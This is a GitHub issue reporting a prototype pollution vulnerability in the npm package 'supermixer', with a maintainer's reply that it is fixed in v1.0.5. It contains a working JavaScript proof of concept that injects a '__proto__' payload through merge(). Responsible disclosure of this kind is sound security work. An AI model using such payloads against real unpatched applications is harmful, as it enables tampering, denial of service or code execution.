New issue

Jump to bottom

Prototype pollution #9

Closed **u0pattern** opened this issue on Aug 19, 2020 · 1 comment

u0pattern commented on Aug 19, 2020

I would like to report a Prototype pollution in supermixer, It allows an attacker to modify the prototype of a base object which can vary in severity depending on the implementation.

Vulnerability Description:

Prototype Pollution is a vulnerability affecting JavaScript, Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects.

Proof of Concept:

```
var mixer = require('supermixer');
var payload = '{"__proto__":{"poc":"evil"}}';
var test = {};
console.log("Before: ", test.poc);
mixer.merge({},JSON.parse(payload));
console.log("After: ", test.poc);
```

Impact :

DoS, Access to restricted data, RCE (depends on implementation)

koresar commented on Aug 19, 2020 Member

Fixed in v1.0.5

v1.0.4...v1.0.5

koresar closed this as completed on Aug 19, 2020

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants